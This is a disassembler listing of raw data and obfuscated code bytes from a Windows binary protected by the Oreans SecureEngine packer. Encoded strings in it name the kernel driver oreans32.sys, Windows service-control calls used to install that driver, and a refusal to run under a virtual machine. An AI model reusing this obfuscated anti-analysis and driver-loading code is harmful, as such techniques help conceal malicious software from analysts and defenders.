		dd 7185C700h, 1064829h,	0E9000000h, 1, 203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 1CE9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 5840Fh
		dd 0B90000h, 46000000h,	3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh
		dd 0C90BFFFFh, 21840Fh,	3F800000h, 9840F00h, 80000000h
		dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h
		dd 2B000000h, 0CB589F3h, 0E9064AAEh, 0Ah, 0AE0C85C7h, 64Ah
		dd 0C3610000h, 0EE9C88Bh, 33000002h, 6E6E6143h,	7720746Fh
		dd 65746972h, 65726F20h, 2E736E61h, 0A647876h, 6B614D0Dh
		dd 75732065h, 74206572h, 20746168h, 73696874h, 6C696620h
		dd 73692065h, 746F6E20h, 69656220h, 7520676Eh, 20646573h
		dd 61207962h, 68746F6Eh, 70207265h, 72676F72h, 2E6D61h
		dd 67h dup(0)
		dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 0EFE900h, 85C60000h,	6480FF9h, 5B866847h, 0B5FFE3E4h
		dd 6480ED5h, 38BA858Dh,	0D0FF0648h, 10468h, 8D9D8D00h
		dd 53064818h, 8D50D0FFh, 4AB382B5h, 32FE8B06h, 850FAEC0h
		dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 480FF985h
		dd 0FC684306h, 0FFBC8E6Eh, 480ED5B5h, 0BA858D06h, 0FF064838h
		dd 8DB58DD0h, 6A064818h, 806800h, 26A0000h, 6A006Ah, 68h
		dd 0D0FF56C0h, 85C6D88Bh, 6480FF9h, 0EE566857h,	0B5FFA69Bh
		dd 6480ED5h, 38BA858Dh,	0D0FF0648h, 0BBDBD8Dh, 8D8D0648h
		dd 64AB4A8h, 6857006Ah,	37D0h, 0D0FF5351h, 850FC085h, 1Bh
		dd 0B18AB58Dh, 858D064Ah, 64A9DC7h, 8D8DD0FFh, 6487286h
		dd 0B8h, 0C6E1FF00h, 480FF985h,	0A7684306h, 0FFC0764Ah
		dd 480ED5B5h, 0BA858D06h, 0FF064838h, 0D0FF53D0h, 37D0B9C3h
		dd 0E80000h, 58000000h,	890EC083h, 2E908h, 0C38B0000h
		dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
		dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
		dd offset dword_450050+4BB0h
		dd 0
		dd 4000200h, 0
		dd 3800000h, 1400h, 4 dup(0)
		dd 20000h, 1C000h, 9000h, 0
		dd 7E00h, 0
		dd 0C400h, 100h, 0DC00h, 3 dup(0)
		dd 12C00h, 13800h, 2 dup(0)
		dd 14200h, 19600h, 1D200h, 0
		dd 1D200h, 0
		dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
		dd 27C004h, 0
		dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
		dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
		dd 9000000h, 0A000000h,	0B000000h, 0C000000h, 0D000000h
		dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
		dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
		dd 300h, 0
		dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
		dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
		dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
		dd 16B0007h, 277101h, 360h dup(0)
		dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
		dd 72657600h, 5050h, 73763100h,	73763252h, 73763352h, 52h
		dd 9C3h	dup(0)
		dd 1BE88300h, 7309F883h, 8524FF07h, 0
		dd 0C3F8h, 8 dup(0)
		dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h,	7E831AEBh
		dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
		dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10A9E900h, 44410000h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
aOreans32_sys	db 'oreans32.sys',0
		align 4
		dd 0
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		dd 8B000000h, 8921B5C4h, 480A3185h, 0BFBF6606h,	89C08B9Bh
		dd 48270D85h, 3ABF6606h, 99BD83AAh, 64812h, 0BD830975h
		dd 6480D35h, 50197400h,	0B8C08B53h, 43Dh, 29B98589h, 9D8D0648h
		dd 64AA464h, 585BD3FFh,	0D35BD83h, 74000648h, 0B8535017h
		dd 43Dh, 29B98589h, 9D8D0648h, 64AA153h, 585BD3FFh, 9DBD0B50h
		dd 5A064832h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	71C35646h, 0C458589h, 81660648h, 8BD4C1EFh, 6860FC0h
		dd 23000000h, 480C2595h, 0B9C08B06h, 0AFDEFE2h,	1299BD83h
		dd 75000648h, 35BD8309h, 6480Dh, 53501374h, 0B8C08Bh, 8D000000h
		dd 4AA3069Dh, 5BD3FF06h, 35BD8358h, 6480Dh, 53501174h
		dd 0B8h, 0B79D8D00h, 0FF064AA1h, 60585BD3h, 1611858Bh
		dd 0BD890648h, 6483279h, 719D0161h, 8B064827h, 558D33C0h
		dd 8B064814h, 118509C0h, 2B06480Ch, 480AD58Dh, 99BD8306h
		dd 64812h, 0BD830975h, 6480D35h, 50137400h, 0B8C08B53h
		dd 0
		dd 0A2389D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50117400h
		dd 0B853h, 9D8D0000h, 64AA185h,	585BD3FFh, 5870Fh, 81660000h
		dd 0F821FE1h, 158Fh, 0B5896000h, 6480C1Dh, 7E8h, 97264500h
		dd 0DCD765FEh, 0C08B615Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0C5C35242h, 0EF22E261h, 0B75B66C8h, 14E951h
		dd 74890000h, 0C2988D60h, 9DDCEC3Fh, 96298442h,	283A045Fh
		dd 0C08B9F0Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0FBC35545h, 0E15A6A33h,	1299BD83h, 75000648h, 35BD8309h
		dd 6480Dh, 53501374h, 0B8C08Bh,	8D000000h, 4AA29F9Dh, 5BD3FF06h
		dd 35BD8358h, 6480Dh, 53501174h, 0B8h, 9E9D8D00h, 0FF064AA1h
		dd 52585BD3h, 0B030BA66h, 0DE959h, 60D60000h, 0D6403CDFh
		dd 2F53D318h, 0E92FFD8Dh, 14h, 0F1963367h, 41FBD675h, 0F0D5B404h
		dd 628F7FECh, 0E90A2D41h, 8166C08Bh, 8B5FC5E2h,	0F1BD8BC0h
		dd 6606482Eh, 0BD83FB8Bh, 6481299h, 83097500h, 480D35BDh
		dd 13740006h, 0C08B5350h, 0B8h,	0D19D8D00h, 0FF064AA1h
		dd 66585BD3h, 6685E4B9h, 0BFABD981h, 0BA66C08Bh, 0C08B0662h
		dd 23A5BD8Bh, 0BD830648h, 6481299h, 83097500h, 480D35BDh
		dd 19740006h, 0C08B5350h, 7D0B8h, 0B9858900h, 8D064829h
		dd 4AA4649Dh, 5BD3FF06h, 35BD8358h, 6480Dh, 53501774h
		dd 7D0B8h, 0B9858900h, 8D064829h, 4AA1539Dh, 5BD3FF06h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 3CF64B81h, 91D6DF81h, 3CB25E16h,	9529C08Bh
		dd 64827BDh, 0FF985C6h,	6A530648h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 1145C350h
		dd 59CAAF63h, 9068E17Eh, 6699395Fh, 0FE9CF8Bh, 3D000000h
		dd 35B4A45Bh, 9B1780B2h, 0D5F50F3Fh, 0B5FF3E57h, 6480ED5h
		dd 0D05BD8Bh, 9D290648h, 648275Dh, 38BA858Dh, 0FA8B0648h
		dd 9D31D0FFh, 64815D9h,	0E718589h, 0FE90648h, 0C6000000h
		dd 13FF8928h, 451F85A2h, 0BDD9F921h, 85C6246Ah,	6480FF9h
		dd 0D1816657h, 78B6E5B9h, 4520668h, 0FFE88A90h,	480ED5B5h
		dd 0BE906h, 0B8910000h,	751DB882h, 4A15908Ah, 0BA858D19h
		dd 8B064838h, 480871BDh, 66D0FF06h, 7002C281h, 10D98589h
		dd 85C60648h, 6480FF9h,	2820F43h, 8B000000h, 702868CAh
		dd 6ABC90h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 204320C3h, 4992795Bh, 26CA8108h, 0FF65BDA1h
		dd 480ED5B5h, 0EDB58906h, 0E906481Ah, 7, 0B773AF22h, 8DEA93D9h
		dd 4838BA85h, 11E906h, 71ED0000h, 830A3F30h, 66C00A6Ah
		dd 5F5BFC3h, 0FFF651A7h, 0BF0FF8D0h, 0E98589FFh, 89064812h
		dd 480E0D9Dh, 0F985C606h, 4C06480Fh, 68A0Fh, 9D890000h
		dd 648331Dh, 0DA1CE968h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0BD73A3Dh, 93237C17h
		dd 0ED5B5FFh, 0B5010648h, 648021Dh, 38BA858Dh, 0CF8B0648h
		dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0B2BC50C3h, 295AD161h, 4805F9BDh,	0ED858906h
		dd 1064819h, 4809399Dh,	0F985C606h, 4606480Fh, 11E9h, 4DC07700h
		dd 6C08BFE0h, 8F7A8425h, 5F520437h, 146869A0h, 80BADE06h
		dd 0B5FF9CE9h, 6480ED5h, 16F99509h, 8DF50648h, 4838BA85h
		dd 12E96006h, 5F000000h, 13626145h, 7B52A837h, 8646E1DFh
		dd 727BC774h, 0FF61F90Fh, 0CBBF0FD0h, 28898589h, 3CBF0648h
		dd 8B4689C0h, 4821D995h, 0F985C606h, 4706480Fh,	30DDBD8Bh
		dd 0E2680648h, 6A8A0FB5h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 66C4C350h, 0FFCB8A1Fh
		dd 480ED5B5h, 0CA8A5206h, 0BA858D5Fh, 8B064838h, 482FE195h
		dd 89D0FF06h, 482B2985h, 1D858906h, 31064809h, 4830F5BDh
		dd 0F985C606h, 4706480Fh, 8E9h,	0BE668500h, 0B8B5C0CFh
		dd 0B5F36866h, 0D28183D0h, 60C2CC5Fh, 0ED5B5FFh, 870F0648h
		dd 0
		dd 38BA858Dh, 810F0648h, 6, 3D9B529h, 0D0FF0648h, 68F0Fh
		dd 0BD890000h, 6480B9Dh, 32A58589h, 8B660648h, 0F985C6D6h
		dd 7706480Fh, 5263B966h, 97A8A368h, 53006AF3h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 4870FCCh, 66000000h
		dd 0FF72B1B9h, 482F2DB5h, 0EDBD2B06h, 8D064812h, 4838BA85h
		dd 21BD8B06h, 0FF064807h, 50006AD0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 195297Ch, 89064823h
		dd 48286185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 8D508A35h, 3880F08h, 0F000000h, 85C6D3BFh
		dd 6480FF9h, 0E7C18147h, 687D323Dh, 8728FAF6h, 3FF28166h
		dd 0C28166D9h, 0B5FF40BAh, 6480ED5h, 6E9h, 0D42C7100h
		dd 8DF09600h, 4838BA85h, 69B50906h, 0FF064815h,	6820FD0h
		dd 89000000h, 4814958Dh, 0F5858906h, 0E9064823h, 14h, 197B8484h
		dd 0FB9FA494h, 7CE9F098h, 1A20FC8Dh, 52C3088h, 0FF985C6h
		dd 81430648h, 68DF97C1h, 6EFC684Eh, 9D89BC8Eh, 6483211h
		dd 0ED5B5FFh, 8B660648h, 0BA858DCBh, 8B064838h,	480CB18Dh
		dd 66D0FF06h, 892B69BAh, 481BE985h, 0E5958906h,	0C6064816h
		dd 480FF985h, 6A4506h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 53849CC3h, 0A573854Eh, 9D293693h
		dd 6480D21h, 7E9h, 0D9FF8F00h, 0D8012E4Bh, 72696968h, 55006A8Eh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 8B66181Eh, 0D5B5FFCBh, 6A06480Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0CB6AC351h
		dd 0E9CCEE76h, 0ADBD89B0h, 8D06482Ah, 4838BA85h, 7CB65606h
		dd 53D0FF5Fh, 658D8B60h, 2906480Eh, 4829798Dh, 89596106h
		dd 481AD985h, 14E906h, 6C080000h, 8F7A8425h, 5F520437h
		dd 57269A0h, 657EF57Eh,	85C60E57h, 6480FF9h, 35BD2344h
		dd 6806480Fh, 0B8F2EC64h, 0D5B5FFF5h, 5706480Eh, 5FD18B66h
		dd 1741B531h, 858D0648h, 64838BAh, 2A899589h, 0FFFC0648h
		dd 57006AD0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 1E73E806h, 134C6230h, 14E879h, 0AAA30000h
		dd 0A0637402h, 8D71404Dh, 4D0CDD1Fh, 75EB8474h,	0BA667588h
		dd 8B5ADE60h, 4831B5BDh, 0ED858906h, 81064805h,	6C8B65EFh
		dd 7E95702h, 0A2000000h, 198926Eh, 0C65982E2h, 480FF985h
		dd 0BD014306h, 6480DF1h, 764AA768h, 0D58D89C0h,	0FF06481Ah
		dd 480ED5B5h, 66F98B06h, 858DC88Bh, 64838BAh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 62C35040h, 9C23B7EDh
		dd 0E9D6ADC3h, 11h, 0C6B49F57h,	0F50AA1E2h, 88CEDF62h
		dd 97041AE4h, 66D0FFBCh, 890B0FBAh, 48177D85h, 80D38A06h
		dd 4AF86BBDh, 840F0006h, 159h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0ECC35545h,	858D3653h, 64AF84Dh
		dd 0FB8B6660h, 0F6150B5h, 8B50FEBFh, 4815F9BDh,	6A016A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0DB93C350h, 0DC9DDE13h, 2B41EDDCh, 4814218Dh
		dd 9870F06h, 60000000h,	6ED98166h, 61F6B495h, 6A006Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 42C35242h
		dd 0C195315Eh, 0BF06480Dh, 765272F6h, 2FF5BD89h, 95FF0648h
		dd 64812E9h, 2AE58D89h,	11E90648h, 2E000000h, 42BB70BCh
		dd 0C8811C02h, 36F9AF8h, 0BAF9F008h, 2B5D8589h,	958B0648h
		dd 6480D59h, 297D8D8Bh,	0FF6A0648h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0C9C35646h,	891E9D40h, 4827518Dh
		dd 0CDBD8B06h, 0FF064819h, 482B5DB5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0AC23473Ah, 32F1BD8Bh, 95FF0648h, 64810D9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 4CC35747h, 8EFBE533h
		dd 14CF8166h, 0FC08B00h, 0A8Fh,	48E0F00h, 66000000h, 83FD37BAh
		dd 481299BDh, 9750006h,	0D35BD83h, 74000648h, 8B535019h
		dd 7D1B8C0h, 85890000h,	64829B9h, 0A4649D8Dh, 0D3FF064Ah
		dd 0BD83585Bh, 6480D35h, 50177400h, 7D1B853h, 85890000h
		dd 64829B9h, 0A1539D8Dh, 0D3FF064Ah, 9D89585Bh,	64814F5h
		dd 18299D09h, 0C08B0648h, 32C1958Bh, 85C60648h,	6480FF9h
		dd 50006A47h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0B9970C1Fh, 1CB01C39h, 0C8F7C168h, 1D30B993h
		dd 0B5FF46E1h, 6480ED5h, 8DA8166h, 0BA858D30h, 0E8064838h
		dd 0Ch,	0C2D9B9Dh, 17167FBDh, 296725A1h, 0D0FF5AFCh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 83C35040h, 6A50B144h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 24DC351h,	0B816666Dh, 8E858DD1h, 0C7064AFCh
		dd 9400h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0F6EFF0EEh, 898C5928h, 481379B5h
		dd 5E96006h, 0D9000000h, 242FB436h, 12D9589h, 58610648h
		dd 27058D01h, 0B58D0648h, 64AFC8Eh, 1218D8Bh, 8B560648h
		dd 482FD9BDh, 0E8D0FF06h, 7, 38FFA8DAh,	8169A9BEh, 51F3B5DFh
		dd 858D5925h, 64AFC8Eh,	0D319589h, 78830648h, 850F0604h
		dd 2Eh,	0AE8h, 154D5F00h, 0B018ADE5h, 0E9F9A44Eh, 9, 6931BC25h
		dd 0E66212D1h, 85C75FC3h, 64AFD22h, 1, 11B58D03h, 0BD830648h
		dd 6480691h, 6D850F00h,	0E9000000h, 9, 5F8B90C0h, 124CD3E3h
		dd 22BD832Fh, 64AFDh, 52850Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 67473EC3h
		dd 9BAAD27Bh, 0F9A3F40h, 481h, 0CAB96600h, 0D9BD83CBh
		dd 6482Bh, 16840Fh, 0BD890000h,	6480E75h, 2EED85C7h, 648h
		dd 0E9810000h, 390D7F1Ch, 0E9DB8C66h, 0Ah, 0D6160CF0h
		dd 58DAA226h, 0C3F6CF1Eh, 0A840F04h, 0F000005h,	9529FEB7h
		dd 6482AF1h, 30E585C7h,	648h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8000C7C3h
		dd 4AF878BDh, 850F0006h, 6, 2BD58D89h, 85C60648h, 6480FF9h
		dd 0AE947h, 62EC0000h, 4756C630h, 2C013A8Fh, 0E45B8668h
		dd 56006AE3h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 40C3C1E1h, 419529D7h, 0FF06482Ch, 480ED5B5h
		dd 6890F06h, 81000000h,	0A161EE1h, 0BA858D63h, 8B064838h
		dd 48276D95h, 0BAD0FF06h, 6A986864h, 10468h, 919D0900h
		dd 8D06480Bh, 48188D9Dh, 53CF8B06h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 2BC35141h, 8E803h, 0C6220000h
		dd 0CB4C3A30h, 0C6801320h, 0D0FF5F30h, 6E960h, 8CD0000h
		dd 11E5416Ah, 61F78B66h, 0D88A4FB9h
		dd 8D858D09h, 0BA064818h, 3214072h, 0CE950h, 0F1A00000h
		dd 0DBBCC7DFh, 450B3DCAh, 858DDF45h, 64AF82Ah, 6650F08Ah
		dd 8D45EDBAh, 4AEEFD85h, 0F575006h, 0FF5FFBBFh,	48286195h
		dd 0CC48306h, 1211B589h, 6A0648h, 8068h, 6A036A00h, 68006A00h
		dd 80000000h, 0EEFD858Dh, 0FF50064Ah, 481BE995h, 0D858906h
		dd 0C6064AF8h, 480FF985h, 87684706h, 0FFC7B15Eh, 480ED5B5h
		dd 0BA858D06h, 0FF064838h, 0FF006AD0h, 4AF80DB5h, 0F8D0FF06h
		dd 85958Bh, 0D03D0648h,	0F000037h, 2983h, 0C9B58900h, 0FF064811h
		dd 4AF80DB5h, 0D1BD8B06h, 8B064810h, 4821C18Dh,	7D95FF06h
		dd 0E9064817h, 118h, 15698589h,	0B5FF0648h, 64AF80Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0DFC35040h, 5B8046C3h
		dd 56E8B419h, 869958Bh,	0FF5F0648h, 48177D95h, 6AD78B06h
		dd 11958900h, 6A064814h, 0D7816600h, 6A9AF4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 2BC35646h, 6C82A419h
		dd 6A3C4667h, 9E900h, 8C970000h, 59D75859h, 6A4DE381h
		dd 9E900h, 0CEA50000h, 5B010336h, 8940BF68h, 4827E5BDh
		dd 6A006A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 5683C357h, 11858D5Ah, 81064AF8h
		dd 9C12FCD1h, 95FF5027h, 6481BE9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 87C35545h, 10A2B48Bh, 0F1F6B64Ah
		dd 13E9D5h, 0AAF30000h,	0C4C7F7F2h, 971EF0B7h, 33DE1126h
		dd 0EAB8A9DFh, 0FFF88320h, 13B850Fh, 0B5890000h, 6481269h
		dd 0B39D858Dh, 0B501064Ah, 648101Dh, 0E6B2D0FFh, 0BD8B006Ah
		dd 6480801h, 6A006Ah, 68B0Fh, 958B0000h, 64831B1h, 718D8Bh
		dd 6A0648h, 8531006Ah, 6482E79h, 6A25C580h, 0CCBA6600h
		dd 11858DCAh, 0F064AF8h, 81h, 0E9805000h, 0E995FFE9h, 6A06481Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 4A87C356h, 6AB96613h, 0FFF88349h,	0B3850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 82B9C3C3h, 0D11A7B6Fh, 0F219B58Dh, 6A064Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 344D4CC3h, 278B586Dh, 8D8985D6h, 6481CADh, 9DC7858Dh
		dd 0BD89064Ah, 64832ADh, 8B66D0FFh, 6A006AFBh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 76F7C352h, 958B3C72h, 6480F61h, 1AD995FFh, 6A0648h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 65DC54C3h, 0BF0FCADDh, 0D8589F8h, 6A064AF8h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0A45FC352h, 7484DFB8h, 6AC4B5BDh, 8DFAB500h,	4AF80585h
		dd 0EE906h, 0A3D50000h,	48402EA8h, 0E777B9BEh, 8BEAA558h
		dd 0DD858950h, 6A064830h, 8DD18B04h, 48182D85h,	2D850106h
		dd 5006481Ch, 12E9h, 568A8B00h,	0C9474053h, 2F4A9B64h
		dd 2D885D1Ah, 0FC403CBh, 684h, 918D8900h, 6A064829h, 0B4C78100h
		dd 6A191740h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 53A66BA5h, 16AF510h, 0FFD7B70Fh
		dd 4AF80DB5h, 95FFF906h, 64805EDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0E2C35040h,	0F820F36h, 582h
		dd 0EA816600h, 0EE909EDh, 6600001Eh, 8BC7ADBAh,	481F09BDh
		dd 1C08B06h, 482F6595h,	0CE806h, 52090000h, 135F7BD2h
		dd 55A28302h, 0B5893B8Dh, 6481625h, 99BD835Fh, 64812h
		dd 0BD830975h, 6480D35h, 50197400h, 0B8C08B53h,	7D2h, 29B98589h
		dd 9D8D0648h, 64AA464h,	585BD3FFh, 0D35BD83h, 74000648h
		dd 0B8535017h, 7D2h, 29B98589h,	9D8D0648h, 64AA153h, 585BD3FFh
		dd 0A030BA66h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	3FC35646h, 0A6A830Ah, 6AC08Bh, 3E855h, 5D200000h
